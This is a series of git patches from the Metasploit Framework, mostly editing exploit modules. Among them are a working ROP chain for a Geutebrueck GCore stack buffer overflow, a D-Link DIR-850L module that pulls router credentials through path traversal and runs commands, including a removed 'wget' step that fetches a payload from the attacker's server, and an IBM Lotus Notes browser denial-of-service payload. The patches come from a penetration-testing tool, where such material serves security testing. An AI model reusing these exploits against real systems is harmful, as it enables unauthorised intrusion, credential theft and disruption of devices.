-        as an authenticated user. Unable to use Meterpreter payloads, or
-        any other payload besides linux/mipsbe/shell/reverse_tcp & occasionally
-        linux/mipsbe/shell_reverse_tcp.
+        as an authenticated user. Unable to use Meterpreter payloads.
       },
       'Author' => [
         'Mumbai <https://github.com/realoriginal>' # module

From 7d1de9bc48ebe470c3dd0074feca9a688a817ae9 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sat, 4 Nov 2017 18:50:20 -0400
Subject: [PATCH 104/254] Fix removing the dropped files after exploitation

---
 modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
index 312d43b18b..6ca5c09d94 100644
--- a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
+++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
@@ -134,9 +134,15 @@ class MetasploitModule < Msf::Exploit::Local
     register_files_for_cleanup(dll_path, lnk_path)
   end
 
+  def file_rm(file)
+    if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)
+      @dropped_files.delete(file)
+    end
+  end
+
   def generate_link(path)
     vprint_status("Generating LNK file to load: #{path}")
-    path << "\x00"
+    path += "\x00" # Do not use << here
     display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
     comment = datastore['LnkComment'].dup << "\x00"
 

From 77c13286e0554775bce25fc14b4f897067fb0d85 Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Sun, 5 Nov 2017 13:41:29 -0600
Subject: [PATCH 105/254] Ensure closing script tag has necessary escape.

---
 modules/auxiliary/dos/http/ibm_lotus_notes2.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
index 67df421cfd..996fc0733e 100644
--- a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
+++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
@@ -52,7 +52,7 @@ setInterval(function(){
           delete kins[k];
            }
          }
-        w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
+        w = open('data:text/html,<input type="file" id="f"><script>f.click();setInterval("f.click()", 1);<\\/script>');
         if (w) {
                 kins[i] = w;
                 i++;

From 9206dee5bb003710033fa999189a8f63793e41bc Mon Sep 17 00:00:00 2001
From: Christian Mehlmauer <firefart@gmail.com>
Date: Mon, 6 Nov 2017 07:49:10 +0100
Subject: [PATCH 106/254] disable gem update for now as version 2.7.1 is broken

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 1bf0d1c27c..e4cfb5517e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -36,7 +36,8 @@ RUN apk update && \
       ncurses-dev \
       git \
     && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
-    && gem update --system \
+    # this currently fails: https://github.com/rubygems/rubygems/issues/2064
+    # && gem update --system \
     && gem install bundler \
     && bundle install --system $BUNDLER_ARGS \
     && apk del .ruby-builddeps \

From 897b5b5dd1e65efe9715dddf78f96138fcafdd44 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 6 Nov 2017 01:19:00 -0600
Subject: [PATCH 107/254] revert passive handler stance

---
 modules/exploits/multi/handler.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb
index 0d528c7a77..6cf0595312 100644
--- a/modules/exploits/multi/handler.rb
+++ b/modules/exploits/multi/handler.rb
@@ -34,7 +34,6 @@ class MetasploitModule < Msf::Exploit::Remote
         'Arch'           => ARCH_ALL,
         'Targets'        => [ [ 'Wildcard Target', {} ] ],
         'DefaultTarget'  => 0,
-        'Stance'         => Msf::Exploit::Stance::Passive
       )
     )
 
@@ -42,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
       [
         OptBool.new(
           "ExitOnSession",
-          [ true, "Return from the exploit after a session has been created", false ]
+          [ true, "Return from the exploit after a session has been created", true ]
         ),
         OptInt.new(
           "ListenerTimeout",

From cfeb0b7bdaea6ab1495ea86a74d1d9773c845b0f Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 6 Nov 2017 01:21:06 -0600
Subject: [PATCH 108/254] prefer threadsafe sleep here

---
 modules/exploits/multi/handler.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb
index 6cf0595312..e436abba9d 100644
--- a/modules/exploits/multi/handler.rb
+++ b/modules/exploits/multi/handler.rb
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
     loop do
       break if session_created? && datastore['ExitOnSession']
       break if timeout > 0 && (stime + timeout < Time.now.to_f)
-      sleep(1)
+      Rex::ThreadSafe.sleep(1)
     end
   end
 end

From 88db98c3811a85755ce55f493f99d2dcf16bd525 Mon Sep 17 00:00:00 2001
From: RootUp <mishra.dhiraj95@gmail.com>
Date: Mon, 6 Nov 2017 20:45:50 +0530
Subject: [PATCH 109/254] Update ibm_lotus_notes2.rb

---
 modules/auxiliary/dos/http/ibm_lotus_notes2.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
index 996fc0733e..e1ed130c04 100644
--- a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
+++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
           'Dhiraj Mishra',
         ],
         'References'     => [
-          [ 'EXPLOIT-DB', '42604'],
+          ['EDB', '42604'],
           [ 'CVE', '2017-1130' ]
         ],
         'DisclosureDate' => 'Aug 31 2017',

From 85b8b4116af6475836f95a01f3d0147e729ae008 Mon Sep 17 00:00:00 2001
From: RootUp <mishra.dhiraj95@gmail.com>
Date: Tue, 7 Nov 2017 12:08:08 +0530
Subject: [PATCH 110/254] Create ibm_lotus_notes2.md

---
 .../auxiliary/dos/http/ibm_lotus_notes2.md    | 67 +++++++++++++++++++
 1 file changed, 67 insertions(+)
 create mode 100644 documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md

diff --git a/documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md b/documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md
new file mode 100644
index 0000000000..1a79f08bb1
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md
@@ -0,0 +1,67 @@
+## Vulnerable Application
+This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
+
+If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which, 
+would cause the client hang and have to be restarted.
+
+Affected Products and Versions
+
+IBM Notes 9.0.1 to 9.0.1 FP8 IF1
+IBM Notes 9.0 to 9.0 IF4.
+IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
+IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
+IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
+IBM Notes 8.5 release
+
+Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384 
+
+## Verification
+
+Start msfconsole
+
+`use auxiliary/dos/http/ibm_lotus_notes2.rb`
+
+Set `SRVHOST`
+
+Set `SRVPORT`
+
+run (Server started)
+Visit server URL in the built-in web-browser of IBM Notes client application
+
+## Scenarios
+
+```
+msf > use auxiliary/dos/http/ibm_lotus_notes2 
+msf auxiliary(ibm_lotus_notes2) > show options 
+
+Module options (auxiliary/dos/http/ibm_lotus_notes2):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
+   SRVPORT  8080             yes       The local port to listen on.
+   SSL      false            no        Negotiate SSL for incoming connections
+   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
+   URIPATH                   no        The URI to use for this exploit (default is random)
+
+
+Auxiliary action:
+
+   Name       Description
+   ----       -----------
+   WebServer  
+
+
+msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
+SRVHOST => 192.168.0.50
+msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
+SRVPORT => 9092
+msf auxiliary(ibm_lotus_notes2) > run
+[*] Auxiliary module execution completed
+msf auxiliary(ibm_lotus_notes2) > 
+[*] Using URL: http://192.168.0.50:9092/mypath
+[*] Server started.
+msf auxiliary(ibm_lotus_notes2) > 
+```
+
+At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value.  And then they should see their Notes app become unresponsive.

From 8963d77bca9a028f745bbebe7548b2f58feccc25 Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Tue, 7 Nov 2017 20:00:56 +0100
Subject: [PATCH 111/254] multiple changes as requested by h00die

---
 .../http/geutebrueck_gcore_x64_rce_bo.rb      | 116 +++++++++---------
 1 file changed, 57 insertions(+), 59 deletions(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index 2af58a12f4..0797a2486e 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -14,7 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
   def initialize(info = {})
     super(update_info(info,
       'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
-      'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
+      'Description'	=> %q{
+        This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
+      },
       'License' => MSF_LICENSE,
       'Author' =>
       [
@@ -24,14 +26,15 @@ class MetasploitModule < Msf::Exploit::Remote
       'References' =>
       [
         ['EDB','41153'],
+        ['CVE', '2017-11517'],
         ['URL','www.geutebrueck.com']
       ],
       'Platform' => 'win',
       'Targets' =>
       [
         ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
-        ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
-        ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
+        ['GCore 1.3.8.42, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}],
+        ['GCore 1.4.2.37, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}]
       ],
       'Payload' =>
       {
@@ -42,9 +45,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'DefaultTarget' => 0))
 
       register_options(
-        [
-          Opt::RPORT(13003)
-          ])
+        [Opt::RPORT(13003)]
+      )
         end
 
         def fingerprint
@@ -74,6 +76,9 @@ class MetasploitModule < Msf::Exploit::Remote
         end
 
         def ropchain(target)
+          # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
+          stack_align = "\x43" * 16
+
           if target.name.include? '1.3.8.42'
             print_status('Preparing ROP chain for target 1.3.8.42!')
 
@@ -81,68 +86,65 @@ class MetasploitModule < Msf::Exploit::Remote
             # This is needed because the next 16 bytes are sometimes messed up.
             overwrite = [0x140cd00a9].pack('Q<')
 
-            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
-            stack_align = "\x43" * 16
-
             # We have 40 bytes left to align our stack!
             # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
             # and to restore it.
             # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
             # 0x1404e5cbf: mov edx, esp ; ret
-            stack_align += [0x1404e5cbf].pack('Q<')
+            stack_align << [0x1404e5cbf].pack('Q<')
 
             # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
             # We pop -XXXXX as \xxxxxxxxx to rax
             # 0x14013db94  pop rax ; ret
-            stack_align += [0x14013db94].pack('Q<')
-            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+            stack_align << [0x14013db94].pack('Q<')
+            stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
 
             # Our value is enough.
             # 0x1407dc547  | add rax,rdx ; ret
-            stack_align += [0x1407dc547].pack('Q<')
+            stack_align << [0x1407dc547].pack('Q<')
 
             # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
             # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
-            stack_align += [0x140ce9ac0].pack('Q<')
+            stack_align << [0x140ce9ac0].pack('Q<')
 
             # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
             # We want RCX to hold the value for VP Argument "Address of Shellcode"
             # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
             rop = ''
-            rop += [0x140cc2234].pack('Q<')
-            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            rop << [0x140cc2234].pack('Q<')
+            rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
             # 0x1400ae2ae    | POP RDX; RETN
             # 0x...1000      | Value for VP "Size of Memory"
-            rop += [0x1400ae2ae].pack('Q<')
-            rop += [0x0000000000000400].pack('Q<')
+            rop << [0x1400ae2ae].pack('Q<')
+            rop << [0x0000000000000400].pack('Q<')
 
             # 0x14029dc6e:   | POP R8; RET
             # 0x...40        | Value for VP "Execute Permissions"
-            rop += [0x14029dc6e].pack('Q<')
-            rop += [0x0000000000000040].pack('Q<')
+            rop << [0x14029dc6e].pack('Q<')
+            rop << [0x0000000000000040].pack('Q<')
 
             # 0x1400aa030    | POP R9; RET
             # 0x1409AE1A8 is the .data section of gcore
-            rop += [0x1400aa030].pack('Q<')
-            rop += [0x1409AE1A8].pack('Q<')
+            rop << [0x1400aa030].pack('Q<')
+            rop << [0x1409AE1A8].pack('Q<')
 
             # 0x140b5927a: xor rax, rax ; ret
-            rop += [0x140b5927a].pack('Q<')
+            rop << [0x140b5927a].pack('Q<')
 
             # 0x1402ce220 pop rax ; ret
             # 0x140d752b8 | VP Stub IAT Entry
-            rop += [0x1402ce220].pack('Q<')
-            rop += [0x140d752b8].pack('Q<')
+            rop << [0x1402ce220].pack('Q<')
+            rop << [0x140d752b8].pack('Q<')
 
             # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
-            rop += [0x1407c6b3b].pack('Q<')
+            rop << [0x1407c6b3b].pack('Q<')
 
             # 0x140989c41 push rax; ret
-            rop += [0x140989c41].pack('Q<')
+            rop << [0x140989c41].pack('Q<')
 
             # 0x1406d684d jmp rsp
-            rop += [0x1406d684d].pack('Q<')
+            rop << [0x1406d684d].pack('Q<')
 
             [rop, overwrite, stack_align]
 
@@ -153,69 +155,66 @@ class MetasploitModule < Msf::Exploit::Remote
             # This is needed because the next 16 bytes are sometimes messed up.
             overwrite = [0x140cd9759].pack('Q<')
 
-            # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
-            stack_align = "\x43" * 16
-
             # We have 40 bytes left to align our stack!
             # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
             # and to restore it.
             # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
 
             # 0x1404f213f: mov edx, esp ; ret
-            stack_align += [0x1404f213f].pack('Q<')
+            stack_align << [0x1404f213f].pack('Q<')
 
             # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
             # We pop -XXXXX as \xxxxxxxxx to rax
             # 0x14000efa8  pop rax ; ret
-            stack_align += [0x14000efa8].pack('Q<')
-            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+            stack_align << [0x14000efa8].pack('Q<')
+            stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
 
             # Our value is enough.
             # 0x140cdfe65  | add rax,rdx ; ret
-            stack_align += [0x140cdfe65].pack('Q<')
+            stack_align << [0x140cdfe65].pack('Q<')
 
             # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
             # 0x140cf3110 | mov rsp, rax ; ..... ; ret
-            stack_align += [0x140cf3110].pack('Q<')
+            stack_align << [0x140cf3110].pack('Q<')
 
             # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
             # We want RCX to hold the value for VP Argument "Address of Shellcode"
             # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
             rop = ''
-            rop += [0x140ccb984].pack('Q<')
-            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            rop << [0x140ccb984].pack('Q<')
+            rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
             # 0x14008f7ec      | POP RDX; RETN
             # 0x...1000        | Value for VP "Size of Memory"
-            rop += [0x14008f7ec].pack('Q<')
-            rop += [0x0000000000000400].pack('Q<')
+            rop << [0x14008f7ec].pack('Q<')
+            rop << [0x0000000000000400].pack('Q<')
 
             # 0x140a88f81:   | POP R8; RET
             # 0x...40        | Value for VP "Execute Permissions"
-            rop += [0x140a88f81].pack('Q<')
-            rop += [0x0000000000000040].pack('Q<')
+            rop << [0x140a88f81].pack('Q<')
+            rop << [0x0000000000000040].pack('Q<')
 
             # 0x1400aa030    | POP R9; RET
             # 0x...          | Value for VP "Writeable location". Not sure if needed?
             # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
-            rop += [0x1400aa030].pack('Q<')
-            rop += [0x140FB5000].pack('Q<')
+            rop << [0x1400aa030].pack('Q<')
+            rop << [0x140FB5000].pack('Q<')
 
             # 0x140ccea2f: xor rax, rax ; et
-            rop += [0x140ccea2f].pack('Q<')
+            rop << [0x140ccea2f].pack('Q<')
 
             # 0x14000efa8 pop rax ; ret
             # 0x140d83268 | VP Stub IAT Entry
-            rop += [0x14000efa8].pack('Q<')
-            rop += [0x140d83268].pack('Q<')
+            rop << [0x14000efa8].pack('Q<')
+            rop << [0x140d83268].pack('Q<')
 
             # 0x14095b254 mov rax, qword [rax] ; ret  ;
-            rop += [0x14095b254].pack('Q<')
+            rop << [0x14095b254].pack('Q<')
 
             # 0x140166c46 push rax; ret
-            rop += [0x140166c46].pack('Q<')
+            rop << [0x140166c46].pack('Q<')
 
             # 0x140cfb98d jmp rsp
-            rop += [0x140cfb98d].pack('Q<')
+            rop << [0x140cfb98d].pack('Q<')
 
             [rop, overwrite, stack_align]
 
@@ -239,21 +238,20 @@ class MetasploitModule < Msf::Exploit::Remote
           begin
             connect
             print_status('Crafting Exploit...')
-            http_req = 'GET /'
-            buffer_200 = "\x41" * 200
-            rop = target_rop
-            payload.encoded
-            buffer_1823 = "\x41" * 1823
-            overwrite = target_overwrite
-            stack_align = target_stack_align
+            exploit = 'GET /'
+            exploit << "\x41" * 200
+            exploit << target_rop
+            exploit << payload.encoded
+            exploit << "\x41" * 1823
+            exploit << target_overwrite
+            exploit << target_stack_align
 
-            exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
             print_status('Exploit ready for sending...')
             sock.put(exploit, 'Timeout' => 20)
             print_status('Exploit sent!')
             buf = sock.get_once || ''
           rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
-            elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+            elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}\n#{e.fail_with}")
           ensure
             print_status('Closing socket.')
             disconnect

From 6683ba501f214edc3ae7ecb55ac1709b7843e99b Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Tue, 7 Nov 2017 20:05:43 +0100
Subject: [PATCH 112/254] added one missing change

---
 modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index 0797a2486e..9da35a641e 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -76,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
         end
 
         def ropchain(target)
+          rop = ''
           # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
           stack_align = "\x43" * 16
 
@@ -111,7 +112,6 @@ class MetasploitModule < Msf::Exploit::Remote
             # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
             # We want RCX to hold the value for VP Argument "Address of Shellcode"
             # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop = ''
             rop << [0x140cc2234].pack('Q<')
             rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
             # 0x1400ae2ae    | POP RDX; RETN
@@ -180,7 +180,6 @@ class MetasploitModule < Msf::Exploit::Remote
             # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
             # We want RCX to hold the value for VP Argument "Address of Shellcode"
             # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop = ''
             rop << [0x140ccb984].pack('Q<')
             rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
             # 0x14008f7ec      | POP RDX; RETN

From fbbc8da8fbe324618bd32cb489c0346ca58f9478 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Tue, 7 Nov 2017 14:30:47 -0600
Subject: [PATCH 113/254] Fix raise(s) in MSSQL client aborting mssql_login

---
 lib/metasploit/framework/mssql/client.rb | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb
index 9652c2ec79..294fbbae2b 100644
--- a/lib/metasploit/framework/mssql/client.rb
+++ b/lib/metasploit/framework/mssql/client.rb
@@ -634,7 +634,8 @@ module Metasploit
           if idx > 0
             encryption_mode = resp[idx, 1].unpack("C")[0]
           else
-            raise "Unable to parse encryption req during pre-login, this may not be a MSSQL server"
+            framework_module.print_error("Unable to parse encryption req " \
+              "during pre-login, this may not be a MSSQL server")
             encryption_mode = ENCRYPT_NOT_SUP
           end
 
@@ -681,7 +682,9 @@ module Metasploit
             if idx > 0
               encryption_mode = resp[idx, 1].unpack("C")[0]
             else
-              raise "Unable to parse encryption req during pre-login, this may not be a MSSQL server"
+              framework_module.print_error("Unable to parse encryption req " \
+                "during pre-login, this may not be a MSSQL server")
+              encryption_mode = ENCRYPT_NOT_SUP
             end
           end
           encryption_mode

From 0a4ce1e87b7145b14a3df5814c41d5ae81308de9 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 7 Nov 2017 19:00:59 -0500
Subject: [PATCH 114/254] cmdstager build

Removes the need for HTTP Server, utilizes helper CmdStager, reduces module size.
---
 .../linux/http/dlink_850l_unauth_exec.rb      | 179 +++---------------
 1 file changed, 23 insertions(+), 156 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 89488d54fc..69fdf17f6c 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -9,10 +9,8 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HttpServer
-  include Msf::Exploit::Remote::EXE
   include Msf::Auxiliary::Report
-  include Msf::Exploit::FileDropper
+  include Msf::Exploit::CmdStager
 
   def initialize(info = {})
     super(update_info(info,
@@ -30,7 +28,6 @@ class MetasploitModule < Msf::Exploit::Remote
         ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
       ],
       'DisclosureDate' => 'Aug 9 2017',
-      'Stance' => Msf::Exploit::Stance::Aggressive,
       'License' => MSF_LICENSE,
       'Platform' => 'linux',
       'Arch' => ARCH_MIPSBE,
@@ -44,14 +41,6 @@ class MetasploitModule < Msf::Exploit::Remote
       },
       'Targets' => [[ 'Automatic', {} ]],
     ))
-
-    register_options(
-      [
-        OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
-        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
-        OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
-        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
-      ])
   end
 
   def check
@@ -102,6 +91,9 @@ class MetasploitModule < Msf::Exploit::Remote
     create_credential_login(login_data)
   end
 
+
+  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
+  # should write an auxiliary module to-do -> WRITE AUXILIARY
   def retrieve_creds
     begin
       xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
@@ -110,7 +102,6 @@ class MetasploitModule < Msf::Exploit::Remote
       xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
       xml << "</module>\r\n"
       xml << "</postxml>"
-      uid = rand_text_alpha_lower(8)
       res = send_request_cgi({
         'uri' => '/hedwig.cgi',
         'method' => 'POST',
@@ -120,16 +111,20 @@ class MetasploitModule < Msf::Exploit::Remote
           'Accept' => '*/*'
         },
         'ctype' => 'text/xml',
-        'cookie' => "uid=#{uid}",
+        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
         'data' => xml,
       })
-      parse = res.get_xml_document
-      username = parse.at('//name').text
-      password = parse.at('//password').text
-      vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
-      loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
-      print_good("#{peer} - Downloaded credentials to #{loot}")
-      return username, password
+      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
+        parse = res.get_xml_document
+        username = parse.at('//name').text
+        password = parse.at('//password').text
+        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
+        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
+        print_good("#{peer} - Downloaded credentials to #{loot}")
+        return username, password
+      else
+        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
+      end
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
     end
@@ -166,8 +161,8 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def execute(cmd, username, password)
-    uid = login(username, password)
+  def execute_command(cmd, opts)
+    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
     payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
     payload << "<postxml>\r\n"
     payload << "<module>\r\n"
@@ -225,138 +220,10 @@ class MetasploitModule < Msf::Exploit::Remote
     #
     # Information Retrieval, obtains creds and logs in
     #
-    username, password = retrieve_creds
-
-    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
-
-    @pl = generate_payload_exe
-    @elf_sent = false
-
-    # HTTP Server
-    resource_uri = '/' + downfile
-    if (datastore['DOWNHOST'])
-      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
-    else
-      # no ssl...
-      if datastore['SSL']
-        ssl_restore = true
-        datastore['SSL'] = false
-      end
-
-      #
-      # Service URL
-      #
-      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
-        srv_host = Rex::Socket.source_address(rhost)
-      else
-        srv_host = datastore['SRVHOST']
-      end
-
-      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
-
-      #
-      # Retrieve UID from target after authentication
-      #
-
-      print_status("#{peer} - Starting up web service #{service_url}")
-
-      start_service({'Uri' => {
-        'Proc' => Proc.new { |cli, req|
-          on_request_uri(cli, req)
-        },
-        'Path' => resource_uri
-      }})
-
-      datastore['SSL'] = true if ssl_restore
-    end
-
-
-    #
-    # Requests target to download payload
-    #
-    print_status("#{peer} - Asking target to request to download #{service_url}")
-
-    filename = rand_text_alpha_lower(8)
-
-    cmd = "wget #{service_url} -O /tmp/#{filename}"
-    res = execute(cmd, username, password)
-    if (!res)
-      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
-    end
-
-    if (datastore['DOWNHOST'])
-      print_status("#{peer} - Giving #{datastore['HTTP_DELAY']} seconds to the device to download the payload")
-      select(nil, nil, nil, datastore['HTTP_DELAY'])
-    else
